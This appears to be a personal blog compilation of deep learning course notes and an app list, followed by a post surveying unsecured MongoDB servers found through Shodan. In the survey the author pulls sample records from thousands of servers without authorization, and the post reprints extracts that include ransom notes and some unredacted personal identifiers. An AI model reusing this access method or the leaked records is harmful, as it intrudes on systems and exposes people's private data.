PyTorch will get rid of tensor -> var concept
- Use Numpy except for derivatives or needs to run on gpu, that’s fine
Categorical embeddings
- Best way to turn unsupervised to supervised is to invent some labels
  - Unsupervised = “fake labels”
- Trains better with a quick matrix multiply instead of deep
- Does the “task” in the supervised matter
  - Hard question, e.g. predict augmented image from non-augmented, predict context word, predict next word
  - Though fake task often works well
    - “Ultimate fake task is autoencoder”
- “Look, don’t touch — no assumptions doesn’t mean not looking” (don’t delete closed store days)
RNN
- Merge add, or concat, both are possible
- Character model again now
  - Sometimes might want to combine both (word/char byte-pair encoding (BPE))
- Hyperbolic tan still used here
BatchNorm
- Normalize every layer, not just input
- Prevent activations vanishing or exploding
- Would be simple, but SGD is bloody-minded
  - Just trying to substract mean and devide by stds won’t do it
  - SGD would just try to undo it again next time
- Where do you put the batchnorm?
  - Original paper got it wrong: no ablation study, after relu is better
    - Though not easy to say
- Regularization effect but more about convergence
- No reason not to use it, there were cases where it was hard to use correctly (like RNN)
- Data normalization not required but still a good idea
Singular conv2d layer at the start
- Because we just want more filters except for the three channels, e.g. 10 5x5 filters
- Most modern archs use this
- E.g. 32 11x11
- Stride 1 padding 2: output will have the same dimension
ResNet: y = x + f(x) f(x) = y - x -> fit function for difference previous layer and output
- “Residuals net”: trying to fit the residual
- So far ignored in non-image domains
  - Transformer model does it as wel: skip connections, skipping over layer and identity add
    - Works well
Adaptiveaveragepooling -> heatmaps

Deep Learning 2018 Course: Part 2

Regularization recap: reducing architecture complexity should be last thing but often what people do first
Bounding boxes
- Atart out by classifying the largest object in each image
- Next, we try to find the bounding box… simply regression output
  - Easy but crappy if there are multiple objects
- And then combine both with a custom head
  - Again, seems to do a bit better, seems counterintuitive
    - Shared goals/computation are always better
- And then multilabel classification
  - Instead of 4+c we could have 16x(4+c)
    - Assuming we have a reasonably loss function, that would work -> YOLO network style
    - We could also make a conv2d with stride 2: 4x4x(4+c) -> SSD
    - Both are used, but yolo v3 used the ssd way
      - Anchor boxes
      - Ane more class for background
  - 4x4 grid cells: anchor boxes, prior boxes, default boxes
    - Get out class
    - Convert to bounding boxes
  - Possible to make anchor boxes of different sizes
defaultdict is handy
“Width by height, rows by columns” :)
matplotlib has an object oriented api, but almost no one uses it
- subplots is is super handy, returns fig, ax; use ax.
pdb.set_trace() to set a breakpoint, %debug to trace an error
- h(elp) s(tep into)/n(ext)/c(ontinue) l(ist context) p(rint) varname / u(p callstack context) or d(own)
l1loss generally better than mse: absolute values, less penalization of errors
Transfer learning for NLP
Slanted triangular learning rate: again, all about the learning rate
GANs getting closer to being proven useful
- But still cutting edge
- Many architectures slow as molasses and take a lot of memory
- Still using Wassertein GAN, take care of checkerboard artifacts
- “If you train a model with synthetic data, the neural net will become fantastically good at recognizing the specific problems of your synthetic data and that’ll end up what it’s learning from”
- Darknet
- Adaptiveavgpooling instead of averagepooling
  - Set size of output instead of window
- LeakyReLU
- SeLU not so great
- Cyclegan
Nice writeup on ethics: https://medium.com/@hiromi_suenaga/deep-learning-2-part-2-lesson-13-43454b21a5d0
L-BFGS also needs second derivative
Image segmentation with UNET

Deep Learning 2019 Course: Part 1

Cricket vs baseball with just 30 images
Normalizing is important
Still ResNet works very well
Image sizes still tricky: square and fixed size
Use onecycle
Even works on mouse movement pictures and sound with the same setup
Learning rate and epochs most important things to tune
UNET still for segmentation
Language model and classifier for nlp
Zeiler and Fergus paper
Sigmoids: A sigmoid actually asymptotes at whatever the maximum is so actually it’s slightly better to make your Y range go from a little bit less than the minimum to a little bit more than the maximum
Reflection is nearly always better for data augmentation
Spectral normalization to make GANs work nowadays
- GANs hate momentum when you’re training them
- Wasserstein GAN now older but still useful
- “Can we get rid of GANs entirely?” Obviously, the thing we really want to do is come up with a better loss function
Perceptual Losses for Real-Time Style Transfer and Super-Resolution: “Justin Johnson et al. created this thing they call perceptual losses. It’s a nice paper, but I hate this term because they’re nothing particularly perceptual about them. I would call them “feature losses”“
- VGG model on this generated image, but let’s take something in the middle. Let’s take the activations of some layer in the middle
- We then take the target (i.e. the actual y value) and we put it through the same pre-trained VGG network, and we pull out the activations of the same layer. Then we do a mean square error comparison

Deep Learning 2019 Course: Part 2

“Overfit, reduce overfit, no step 3”
- Overfit: doesn’t mean train loss < validation loss!
- Means validation error gets worse!
More data, augment, generalizable architecture, regularization, reduce complexity: in that order
fire as handy CLI library
If we multiply numbers initialized with normal distribution (mean=0;std=1) even 28 times they become NaN which mean that they are too big
- What if we multiply the weights with 0.01? Then the problem is that numbers become zeros
- The answer is to divide with the square root of the size of column of the matrix
Training loop looks like this: Calculate predictions, Calculate loss, Backward pass, Subtract learning rate with gradients, Zero gradients
- “Why we need to zero our gradients in PyTorch? If we don’t zero the gradients in every loop it is going to add the new gradients to the old ones. Then why can’t PyTorch just zero the grads automatically? This is because sometimes we want to use multiple different modules and if PyTorch would automatically zero the gradients we couldn’t do this”
Variance means how much data point varies which is same as how far they are from the mean on average
- Positive and negative so either square or abs
  - Square needs to be undone: sd
  - abs: mean absolute deviation
- The standard deviation is more sensitive to outliers and that is why we more often use absolute deviation
  - Why square: just because it makes some math easier :)
  - Replacing squares with abs values often works better!
- Variance: (X - e(X)) ^2 = e(X^2) - e(X)^2
- Covariance: this number tells how well points line up
  - Higher: how much these things vary in the same way
  - e(xy) - e(x)e(y)
- These numbers can be at any range so we calculate correlation which is always between -1 and 1
  - Good question: why scaled with standard deviation? Not variance or mean?
Softmax: e to the power divided by sum
- Different outputs can end up giving the same softmax!
- Softmax likes to pick one thing and make it high
- Terrible idea unless you to single-output multiclass
  - Otherwise use binomial
“We want to see how the mean and standard deviation changes of activitities”
- “These values increases exponentially and collapse suddenly many times at the start. Then later the values stay better at some range which means that model starts to train. If these values just goes up and down model is not learning anything”
- “When we look at the first ten loops we notice that the standard deviation drops further we go from the first layer. And to recall we wanted this to be close to one”
- Kaiming initialization solves this
“Another thing we want to assure is that the activations aren’t really small in later layers”
- “This can be seen using histogram of sd’s: the idea of the colorful dimension is to express with colors the mean and standard deviation of activations for each batch during training. Vertical axis represents a group (bin) of activation values. Each column in the horizontal axis is a batch. The colours represent how many activations for that batch have a value in that bin”
- “These plots show us right away a problem. There is a yellow line going bottom of each plot and that means there is a lot of values and that is something we don’t want”
- “The plots above show how many percentages of activations are nearly zero. This tells us more about the yellow line we saw on previous plots: how much acts are we wasting?”
- LeakyReLU
We have reached our limit and to go further we need to use normalization. BatchNorm is probably the most common normalization method
- If we use BatchNorm we don’t need bias because there is already a bias in BatchNorm.
- BatchNorm works well in most of the cases but it cannot be applied to online learning tasks
- Another problem is the RNNs. We can’t use BatchNorm with RNNs and small batches.
- LayerNorm is just like BatchNorm except instead of (0,2,3) we have (1,2,3) and this doesn’t use the running average. It is not even nearly as good as BatchNorm but for RNNs it is something we want to use because we can’t use BatchNorm.
- The problem with LayerNorm is that it combines all channels into one. InstanceNorm is a better version of LayerNorm where channels aren’t combined together.
Layerwise Sequential Unit Variance (LSUV)
- As we have seen getting a variance of one through a model is quite hard because even little things can spoil this. The high-level idea behind LSUV is to let the computer make all these decisions
- First, we start by creating a normal learner. Then we take one mini-batch out of this learner. We take all our layers and then create a hook that gives an ability to see the mean and standard deviation of the layers. Because we didn’t have any initialization the mean and standard deviation isn’t what we hope. Normally at this point we would test a bunch of initialization methods to see what works best. This time, although, we use the mini-batch we took previously and iteratively try to solve the problem
Mixup / Label smoothing:
- The idea is to combine two images by taking some amount of another image and some amount of another. We also do this for the labels. So, for example, we might take 30% of a plane image and 70% of a dog image and then label for that combination will be 30% of a plane and 70% of a dog
- In softmax, there is one number a lot higher than others. This is not good for the mixup. Label smoothing is something where we don’t use one-hot-encoding but something like 0.9-hot-encoding. It means that instead of trying to give one for some class it tries to give 0.9 for one class and 0.1 for other classes
  - This is a simple but very effective technique for noisy data. You actually want to use this almost always unless you are certain that there is only one right label
Mixed Precision Training: instead of using 32-bit floats we use 16-bit floats. This will speed up the training about 3x
“Big companies try to brag with how big batches they can train once. For us, normal people, increasing the learning rate is something we want. That way we can speed training and generalize better”
Discriminative LR and param groups: discriminative LR was where we have different learning rates for different layers.
ULMFiT is transfer learning applied to AWD-LSTM

Machine Learning Course

What’s the correct range of r^2? Mininf to 1
Ensembling: construct multiple models which are better than nothing and where the errors are, as much as possible, not correlated with each other
%prun
Calibrate your validation set, especially on Kaggle: check variance, also check whether a classifier could distinguish between train and validation
Check data leakage, collinearity
“The overall effect of the max_features is the same — it’s going to mean that each individual tree is probably going to be less accurate but the trees are going to be more varied. In particular, here this can be critical because imagine that you got one feature that is just super predictive. It’s so predictive that every random subsample you look at always starts out by splitting on that same feature then the trees are going to be very similar in the sense they all have the same initial split. But there may be some other interesting initial splits because they create different interactions of variables. So by half the time that feature won’t even be available at the top of the tree, at least half the tree are going to have a different initial split. It definitely can give us more variation and therefore it can help us to create more generalized trees that have less correlation with each other even though the individual trees probably won’t be as predictive”
“It’s pretty much always possible to create a simple logistic regression which is as good as pretty much any random forest if you know ahead of time exactly what variables you need, exactly how they interact, exactly how they need to be transformed. In this case, for example, we could have created a new field which was equal to sale year minus year made and we could have fed that to a model and got that interaction for us”
- “Our coefficients are telling you “in your totally wrong model, this is how important those things are” which is basically meaningless. Where else, the random forest feature importance is telling you in this extremely high parameter, highly flexible functional form, with few if any statistical assumptions, this is your feature importance. So I would be very cautious”
- “The problem is that when you look at a univariate relationship like this, there is a whole lot of collinearity going on — a whole lot of interactions that are being lost”
- “So again, as data scientists, one of the things you are going to keep seeing is that at the companies that you join, people will come to you with these kind of univariate charts where they’ll say “oh my gosh, our sales in Chicago have disappeared. They got really baed.” or “people aren’t clicking on this add anymore” and they will show you a chart that looks like this and ask what happened. Most of the time, you’ll find the answer to the question “what happened” is that there is something else going on”
- “So the PDP approach is where we actually say let’s try and remove all of these externalities. So if something is sold on the same day to the same person of the same kind of vehicle, then actually how does year made impact the price. This basically says, for example, if I am deciding what to buy at an auction, then this is saying to me that getting a more recent vehicle on average really does give you more money which is not what the naive univariate plot said”
What is the benefit of using cross-validation over a standard validation set: you can use all of the data. You don’t have to put anything aside. And you get a little benefit as well in that you’ve now got five models that you could ensemble together, each one used 80% of the data. So sometimes that ensemble can be helpful
Here is the problem with random forests when it comes to extrapolation
- So in this case, what I wanted to do was to first of all figure out what’s the difference between our validation set and our training set
- I’ve gone back and I’ve got my whole data frame with the training and validation all together and I’ve created a new column called is_valid which I’ve set to one and then for all of the stuff in the training set, I set it to zero. So I’ve got a new column which is just is this in the validation set or not and then I’m going to use that as my dependent variable and build a random forest. This is a random forest not to predict price but predict is this in the validation set or not. So if your variable were not time dependent, then it shouldn’t be possible to figure out if something is in the validation set or not
- I still want them in my random forest if they are important. But if they are not important, then taking them out if there are some other none-time dependent variables that work just as well — that would be better. Because now I am going to have a model that generalizes over time better
The variance of the predictions of the trees. Normally the prediction is just the average, this is variance of the trees, and is also interesting to show!
A matrix with one column is not the same thing as a vector
L2 tries to make things zero… That’s kind of true but if you’ve got two things that are highly correlated, then L2 regularization will move them both down together. It won’t make one of them zero and one of them nonzero. So L1 regularization actually has the property that it will try to make as many things zero as possible where else L2 regularization has a property that it tends to try to make everything smaller
Random forest similarity: computes similarity between instances with classification of out-of-bag instances. If two out-of-bag cases are classified in the same tree leaf the proximity between them is incremented

List of Apps (2019)

2019-05-18T21:23:00+02:00

It’s time to setup a new laptop, so once again I’m jotting down a list of apps I normally install right away, slightly updated again.

Web

Optional:

qBittorrent install once required
Dropbox to be replaced with Google Drive completely, after their 3 device limit
Skype is avoided, use web version if possible

General

Microsoft Office
7-Zip
Everything to locate files and folders by name instantly
f.lux
Paint.NET
Sumatra PDF and Adobe Reader for those annoying edge cases where Sumatra doesn’t work
Fonts: Open Sans and Fira Code especially
Putty
OBS
VideoPad
BareGrep

Optional:

VirtualBox
Spotify
VLC
Steam
GOG Galaxy
Gimp
Geek Uninstaller to clean up Windows Apps cruft
SQLite DB Browser

Data Science

Anaconda Python Distribution
GraphViz
R and RStudio preferably through Anaconda
MSYS2

Coding and Editing

A Tour of Open MongoDB Instances

2019-04-07T12:36:00+02:00

Earlier last month, a security researcher called Victor Gevers sent out a tweet stating that he had stumbled upon a number of open MongoDB databases hosting what was apparantly logged chats from a number of Chinese applications such as Weixin (WeChat) and QQ:

Around 364 million online profiles and their chats & file transfers get processed daily. Then these accounts get linked to a real ID/person. The data is then distributed over police stations per city/province to separate operators databases with the same surveillance network name

And the most remarkable part is that this network syncs all this data to open MongoDBs in 18 locations.

This story was then picked up all across the Internet:

It’s not the first time that badly secured MongoDB instances cause huge data leaks either. Previous examples include:

Chinese resumes being stolen, see here and here
800 million e-mail records being exposed, see here
MongoDB data bases being held ransom
Another 11 million users exposed
And 2 billion records over here
Another set of e-mails

By now, people are starting to wonder if MongoDB was ever the right choice to begin with. Hacker News is full of stories of people switching as well. This is also something we argue in the Principles of Database Management Book I’ve co-authored: a lot of early adopters have been burned by NoSQL technologies, with MongoDB in particular causing issues with:

No strong support for complex queries (well, there’s MapReduce) — although this has gotten better in recent versions
No strong consistency guarantees (well, of course not) — although this is more an issue with users not really understanding the trade-offs in distributed systems
No security by default — again, this is in principle the fault of the end-user

Nevertheless, it seems exactly the last point together with the fact that it is so easy to spin up a MongoDB server and start dumping JSON data that has caused the Internet to overflow with badly protected instances.

Given the above stories, I was wondering whether the situation is still as bad today as it was a few years earlier. Surely by now people would have gotten smarter?

*
* *

As such, I went off to Shodan to set up a search for MongoDB instances running on their default port and without authentication enabled. A few years ago, I used tools such as masscan to scan the whole IPv4 range myself, but network operators and server providers have gotten stricter and prefer you don’t scan 4 billion addresses. As such, I just dumped in the couple of bucks necessary to get the data out of Shodan and set to work.

24980 IP addresses were obtained together with some metadata, based on which you can already get an overview of the distribution per country:

For which I set up a Python script to connect to each of them, see if MongoDB was still up (and still unsecured), and download a couple of documents from each database and collection. I wasn’t interesting in dumping the complete set of data out, so I limited extraction to about 5 records for each server, database, collection tuple. I ran this over a bunch of servers and had the results after a couple of days of waiting.

Out of this initial set, 14861 servers were responding and still up.

I used python-geoip-python3 to map each of those to their GeoIP location:

def ip2info(ip):
    match = geolite2.lookup(ip)
    if match is None: return {}
    d = match.to_dict()
    for key, val in d.items():
        if isinstance(val, frozenset):
            d[key] = ', '.join(val)
    d['lat'] = d['location'][0]
    d['lng'] = d['location'][1]
    return d

for lbl in ['country', 'continent', 'subdivision', 'timezone', 'lat', 'lng']:
    df[lbl] = df['ip'].apply(lambda x : ip2info(x).get(lbl))

I then exported this to a CSV file and loaded this into kepler.gl. I’ve been wanting to take a quick look at this tool before and was surprised at how quick it made sense of the data:

*
* *

Next up, I wanted to take a closer look at the data these servers were storing. The resulting SQLite file turned out to be 27GB in size, though a few things already struck me based on the names of databases and collections alone.

Observation 1: a lot of instances have to with Bitcoin and other crypto currencies

Many of these instances have been set up in order to host exchanges and other wallet services. Many of these seem to be test and developer instances, though I’m not sure whether I would trust most crypto platforms based on what we see here. Some extracts of data include (some data has been obscured or shortened):

A “deeptrader” database which seems to track markets:

{'_id': '█████', '00': {'bitcoin_percentage_of_market_cap': 53.62, 'total_volume_24h': 10684921135.0, 'total_market_cap': 209752812724.0, 'last_updated': 1540254090}, '01': {'total_volume_24h': 10767704448.0, 'last_updated': 1540257506, 'total_market_cap': 210013505099.0, 'bitcoin_percentage_of_market_cap': 53.6}, '02': {'last_updated': 1540261307, 'total_volume_24h': 10719337446.0, 'bitcoin_percentage_of_market_cap': 53.63, 'total_market_cap': 210006529467.0}, '03': {'bitcoin_percentage_of_market_cap': 53.63, 'total_market_cap': 209589968546.0, 'total_volume_24h': 10584794331.0, 'last_updated': 1540264951}, '04': {'last_updated': 1540268602, 'total_market_cap': 209256798148.0, 'total_volume_24h': 10508464102.0, 'bitcoin_percentage_of_market_cap': 53.61}, '05': {'bitcoin_percentage_of_market_cap': 53.61, █████}}

A “backoffice” database handling invoices, some of which are paid with Bitcoin:

{'_id': ObjectId('5b8fd4da7e50d70010be2981'), 'amount': 300, 'transactionType': 'user-payout', 'paymentMode': None, 'status': 'cancel', 'invoiceID': None, 'miningCredits': 0, 'quantity': 1, 'discount': 0, 'initialAmount': 0, 'transactionNote': None, 'bitcoinAddress': None, 'currentPriceOfBTC': 0, '__type': 'CashTransactions', 'userID': ObjectId('5b8b7dac9e47d61e04ee37a9'), 'isCredit': False, 'date': datetime.datetime(2018, 9, 5, 13, 6, 34, 562000), '__v': 0}

An “arbitrage” database tracking “opportunities”:

{'_id': ObjectId('5bd47bc5bbd4c89f9ef456f9'), 'ask': 23699.99949, 'askexchange': 'mercadobitcoin', 'askfee': 0.007, 'asktotal': 23865.899486429997, 'askamount': 228.91979860187763, 'bid': 24084.11492186, 'bidexchange': 'bitrecife', 'bidfee': 0.003, 'bidtotal': 24011.86257709442, 'bidamount': 230.31986489048353, 'volume': 0.00959192, 'date': '27-10-2018'}

Observation 2: a lot of database have been swept clean and ransomed

It’s clear that various enterprising actors have already set up a bunch of scripts to scour the Internet for open MongoDB instances, back-up (hopefully) the data, delete it, and leave a ransom note:

“dbbak_service” seems to be the most enterprising one:

{'_id': ObjectId('5bce2d46b098707f4a74a89c'), 'BitCoin': '3CUGBF9QUStiLc2kCiArcE7kkmX93UFHBb', 'eMail': 'dbbak_service@protonmail.com', 'Exchange': 'https://localbitcoins.com/', 'Solution': 'Your Database is downloaded and backed up on our secured servers. To recover your lost data: Send 0.6 BTC to our BitCoin Address and Contact us by eMail with your server IP Address and a Proof of Payment. Any eMail without your server IP Address and a Proof of Payment together will be ignored.You are welcome!'}

Most of these entries leave a single database with a name like “Warn” or “PLEASE_README”. The following table shows an overview of such ransom-hacks:

5614 Warn
372  README
340  Warning
73   PLEASE_READ
57   PLEASE_READ_ME
46   readme
17   PLEASE_READ_ME_XYZ
11   Aa1_Where_is_my_data
8    PLEASE_README
3    READ_ME_PLEASE
2    PLEASEREAD
2    WARNING
1    a1_Where_is_my_data
1    please
1    warn

Some of these are rather polite:

{'_id': ObjectId('5c896be9bf4a8c26d431ab21'), 
 'you_should_not': 'use insecure settings'}

To see how much ransomers typically ask in order to recover data, I performed a regex to filter out BTC amounts:

0.6 BTC (about $3000) seems to be the standard amount. I also wanted to take a look at whether the addresses had already received money in the past. Using a regex found online ([13][a-km-zA-HJ-NP-Z1-9]{25,34}), I extracted 53 distinct addresses. Using blockchain.com, I simply scraped the number of total received coins for each address using requests and Beautiful Soup:

for address in addresses:
    r = BeautifulSoup(requests.get('https://www.blockchain.com/btc/address/{}'.format(address)).text)
    el = r.find(attrs={'id': 'total_received'})
    if not el: continue
    received = el.get_text(strip=True)
    if received == '0 BTC': continue
    print(address, received)

Resulting in the following overview:

12EuPnzMDsqaYBFRwTYnx7TxMuztzdRXWh    0.02748446 BTC
1Kss6v4eSUgP4WrYtfYGZGDoRsf74M7CMr    0.68813072 BTC
1KoCEc5vz9M4ixDWQywXK8KkgRjshjm4AL    0.00007656 BTC
1Ptza47PgMtFMA6fZpLNzacb1EPkWDAv6n    0.6 BTC
3FAVraz3ovC1pz4frGRH6XXCuqPSWeh3UH    1.8 BTC
1ConGo1xRHCh3K6L1ywL4U1KHuC7XYQGqU    0.60313418 BTC
1LhvD5PJjU5ZLaRAPvXhtzCnfEU3JMaZqb    0.01 BTC
3CJVgqCcuMQUZmhXDM6Uva2YPYe6zTF8AK    0.0027859 BTC
3CUGBF9QUStiLc2kCiArcE7kkmX93UFHBb    0.06748042 BTC
1A5uzNqkBfTsw7fh2UnBTBbJBfeZW88qXp    0.2 BTC
1AwkbxDziATSXAbqkLhrqCSsqvGr3PHgjU    0.0501 BTC
1EPA6qXtthvmp5kU82q8zTNkFfvUknsShS    0.2011 BTC
1FwSLsSJPVrWEwX3aQiHr1JqdcQA12M3ro    0.1 BTC
1Nn2PSWGLPQ5Pyc1U18WRkPWcEYUZZBGL1    0.1 BTC
1tTg8o5zgrF8fqagYvXbU8DCbLdV8t2CD     0.03047012 BTC
3639hBBC8M7bwqWkj297Jc61pk9cUSKH5N    0.4 BTC
1NGKHKFdjdjH2GrMgq2qme3LwDSz9TRBi5    0.201 BTC
1PemEbnMSoiaXsEW5nRUpSMRB6RZw9MG8D    0.00354016 BTC
1J5ADzFv1gx3fsUPUY1AWktuJ6DF9P6hiF    11.30575012 BTC
14kGuPS3VqBPoULjXQyiRznGhq1KdH5Aqj    0.20220781 BTC
1McUEufSGeux9LPM2WbYoG91qLmf7mXRzw    0.2 BTC
1YxaDkx8zh9WrAUL5hf1gXyP7pFy1nicg     0.0895 BTC
3LQREaWvSyVq7E5UrTysadLqWtjHPhcAJX    0.6 BTC
1Jqw2tHBkUAGY32YzettJiDAwe8A9mUzok    0.2 BTC
3GKioTFrCFYcTmZR4DXPGatTXXp6Ugcq79    1.59995057 BTC

Note the heavy hitter with 11 received Bitcoins, though it is likely that these did not result from ransom payments, as this address doesn’t show up a lot in the MongoDB instances, unless this account has been at it for a while. The current balance of this account is zero. Most of the coins have been sent to other addresses (most of them looking like they’re single use washers).

Observation 3: there’s a lot of personal information, as well as development around apps which plan to collect a lot of personal information

Including addresses in databases with “wechat” in their name:

{'_id': ObjectId('5c7891b33451380fc8b6b4eb'), 'name': '█████', 'phone': '█████', 'area': '四川省成都市武侯区', 'address': '█████', 'isdefault': True, 'province': '四川省', 'city': '成都市', 'country': '武侯区', 'userId': ObjectId('5c7886e5881d260c56bac44f'), 'updateTime': 1551405491782.0, 'createTime': 1551405491782.0}

There’re also a lot of apps in here dealing with “entry and exit” tracking. China especially is keen on tracking users, students, employees and devices and their movements:

{'_id': ObjectId('5c405499a2b83b0b64516af1'), '_class': 'com.tianyi.collection.bean.EntryExitRecord', 'imgName': '20190117_cut_1547719833326.jpg', 'bucketName': 'face20190117', 'passTime': datetime.datetime(2019, 1, 11, 7, 47, 51), 'personId': 17, 'deviceNo': '012383-B6E2B8-1989EE', 'deviceName': '月中元', 'grade': '2017', 'organId': 3, 'name': '赵子元', 'typeId': 3, 'typeName': '其他', 'documentNumber': '511127197007110025', 'studentNumber': '█████', 'manufacturerId': 1, 'manufacturerName': '所有地区的根目录', 'nationId': 385, 'accessNumber': '888888', 'imgPath': 'house/20190112/118bd67e-38db-417c-91c0-6d5768fae86c.png', 'tel': '13567898798', 'sex': 1, 'address': '', 'personType': 1}

Car parks:

{'_id': ObjectId('5c12392a1b94dd46369af039'), 'isActive': True, 'parkingName': 'NehruPlace', 'authorisedParking': 'SDMC', 'vehicleId': ObjectId('5c1207317f954f445d8f5ce3'), 'vehicleType': 'Car', 'ticketNumber': 10009001, 'keyHanded': 'No', 'parkDateTime': '2018-12-13T16:18:13.000Z', 'exitDateTime': '2018-12-13T16:19:13.000Z', 'duration': '00:01:00', 'amount': 50, 'attendantId': ObjectId('5b8ccda8d076ef1054308d23'), 'parkingNo': '2', 'parkingId': ObjectId('5b8ccc76d076ef1054308d22'), 'modifiedAt': datetime.datetime(2018, 12, 13, 10, 49, 14, 166000), 'createdAt': datetime.datetime(2018, 12, 13, 10, 49, 14, 166000), '__v': 0}

Face scanners:

{'_id': ObjectId('5c404fafa2b83b0b64516aea'), '_class': 'com.tianyi.collection.bean.EntryExitRecord', 'imgName': '20190117_cut_1547718573711.jpg', 'bucketName': 'face20190117', 'passTime': datetime.datetime(2019, 1, 17, 9, 48, 59), 'deviceNo': '012383-B6E2B8-1989EE', 'deviceName': '测试设备'}

Other databases deal with public health information:

{'_id': ObjectId('5a9911f6cf9bb7143800002b'), 'add_user': '5a9911f6cf9bb7143800002b', 'area': ['10000000|北京市|1|0', '11000000|天津市|1|0', '12000000|河北省|1|0', '13000000|山西省|1|0', '14000000|内蒙古自治区|1|0', '15000000|辽宁省|1|0', '16000000|吉林省|1|0', '17000000|黑龙江省|1|0', '18000000|上海市|1|0', '19000000|江苏省|1|0', '20000000|浙江省|1|0', '21000000|安徽省|1|0', '22000000|福建省|1|0', '23000000|江西省|1|0', '24000000|山东省|1|0', '25000000|河南省|1|0', '26000000|湖北省|1|0', '27000000|湖南省|1|0', '28000000|广东省|1|0', '29000000|广西壮族自治区|1|0', '30000000|海南省|1|0', '31000000|重庆市|1|0', '32000000|四川省|1|0', '33000000|贵州省|1|0', '34000000|云南省|1|0', '35000000|西藏自治区|1|0', '36000000|陕西省|1|0', '37000000|甘肃省|1|0', '38000000|青海省|1|0', '39000000|宁夏回族自治区|1|0', '40000000|新疆维吾尔自治区|1|0', '41000000|港澳地区|1|0'], 'create_time': '1519981046', 'email': '█████', 'mobile': '█████', 'name': '█████', 'password': '█████', 'role_id': '5a9d093ccf9bb71438000035', 'sex': '1', 'true_name': '█████', 'update_time': '1520322412'}

Another app aims to upload household information, ethnic information, marriage status, occupation, drug usage and education level. It’s fun to see that the developers are having some fun with their test entries, however. The below shows “Head of the Communist Party of China” as the occupation.

{'_id': ObjectId('5be298d5e4b00b487aae8f2c'), '_class': 'com.kingdom.digitalcity.esb.webservice.soap.gpsapplication.mongo.entity.OperationLogMongo', 'tableName': 'base_t_population_floating', 'logId': '5e5d857d66ebb98b0166ec21eb350031', 'userType': 1, 'userId': '8a9e86c063953a69016395e325240011', 'operateTime': datetime.datetime(2018, 11, 7, 7, 48, 36, 5000), 'className': 'com.kingdom.kdum.server.entities.base.population.Floating', 'operationType': 5, 'josnData': '{"certificationNum":"xgvhh125356","certificationType":"02","create_man":null,"create_time":"","db_status":1,"expireDate":"2018-11-30 00:00:00","id":"5e5d857d66ebb98b0166ec21eb350031","inflowReason":"04","isFocus":1,"modify_man":null,"modify_time":"","population":{"activities":[],"annexe_id":"","birthday":"1982-01-01 00:00:00","birthplace":"150603","birthplaceStr":"内蒙古自治区/鄂尔多斯市/康巴什区","cancel":0,"cancelMan":null,"cancelReason":"","cancelRemark":"","cancelTime":"","certificationCode":"","certificationCodeStr":"","certificationImages":[{"annex_context":[],"filename":"2.jpg","filetype":"jpg","id":"5e5d857c66ece8260166ed2478380015","imagePath":"","realFilePath":"http://202.100.179.66/xjcjbucket/20181107/5e5d857c66ece8260166ed2466e00013.jpg","uploadtime":"2018-11-07 15:48:02"}],"certificationNum":"","contactInfo":"18912345678","corrector":0,"create_man":null,"create_time":"","crowds":[],"db_status":0,"domicile":"150102","domicileDetail":"88886","domicileStr":"█████","drug":0,"education":"60","educationStr":"","ethnic":"10","ethnicStr":"","formerName":"█████","hiv":0,"id":"5e5d857d66ebb98b0166ec21eb350030","idCard":"230101198201010098","images":null,"label":"1, 2","labelStr":"","marriage":"90","marriageStr":"","metal":0,"modify_man":null,"modify_time":"","name":"1107流动","nationality":"","nationalityStr":"","observer":null,"occupation":"徐v干活哈哈","occupationType":"10100","occupationTypeStr":"中国共产党机关负责人","personImage":"","personalImages":[{"annex_context":[],"filename":"2.jpg","filetype":"jpg","id":"5e5d857c66ece8260166ed241b5e0012","imagePath":"","realFilePath":"http://202.100.179.66/xjcjbucket/20181107/5e5d857c66ece8260166ed241b120011.jpg","uploadtime":"2018-11-07 15:47:38"}],"politicalStatus":"05","politicalStatusStr":"","presentAddress":"█████","presentPlace":"652301","presentPlaceStr":"█████","rear":0,"released":0,"religion":"60","religionStr":"","remark":"","school":0,"servicePlace":"打广告好纠结","sex":"1","sexStr":"","teenagers":0,"type":2,"verify":2,"verifyMan":null,"verifyStr":"审核通过","verifySuggestion":"可以","verifyTime":"","wrb":0,"wrbStr":""},"registerDate":"2018-11-01 00:00:00","remark":"█████","residenceType":"05"}', 'dateStatus': 0, 'operateDataName': '█████'}

Observation 4: another extremely popular use case consists of news publishing and scraping

Lots of data bases contain articles that either have been scraped from the web or are utilized in an according app:

{'_id': ObjectId('5bcea1348d27bca0b8a6edc4'), 'a_id': 6, 'a_c_id': 1, 'a_title': '《分获创业》第七届新疆青年创业创新大赛总决赛圆满', 'a_desc': '经过历时4个月的县市海选、地州初赛、创业计划书评审、导师选徒带徒、创客训练营、自治区复赛、半决赛、总决赛等环节，最终新疆赛区选拔赛总决赛的12个创业创新中，“现代农业供应链管理”项目一等奖，获得创业奖金100000元', 'a_key': '青年,项目,分获创业', 'a_author': 'admin', 'a_source': '政府网', 'a_source_url': '', 'a_imgSmall': None, 'a_content': '█████', 'a_view_num': 6, 'a_state': 1, 'a_time': '2018-10-23 12:19:00', 'a_diy': 0}

Russian:

{'_id': ObjectId('5926b9fc43213012ca02af85'), 'date': datetime.datetime(2017, 5, 25, 0, 0), 'title': {'uk': 'Вільний від автомобілів', 'en': 'Without cars'}, 'preview_text': {'uk': 'У Районі Manhattan затишний вільний від авто двір! Для транспорту передбачено окремий багаторівневий паркінг.', 'en': 'Manhattan is safe and comfortable place without cars. A separate multi-level parking is located here.'}, 'body': {'uk': '

Бажаєте купити квартиру в сучасному районі "Manhattan", тоді телефонуйте (097) 0714-000, ми чекаємо на Ваш дзвінок!

\r\n', 'en': '

Want to buy an apartment in the modern district of Manhattan, then call (097) 0714-000, we are waiting for your call!

\r\n'}, 'preview_image': '4.jpg', 'updated_at': datetime.datetime(2017, 7, 5, 18, 44, 42, 133000), 'created_at': datetime.datetime(2017, 5, 25, 11, 3, 24, 72000), 'news_photos': [{'_id': ObjectId('5926b9fc43213012ca02af84'), 'photo': '4.jpg'}]}

And English:

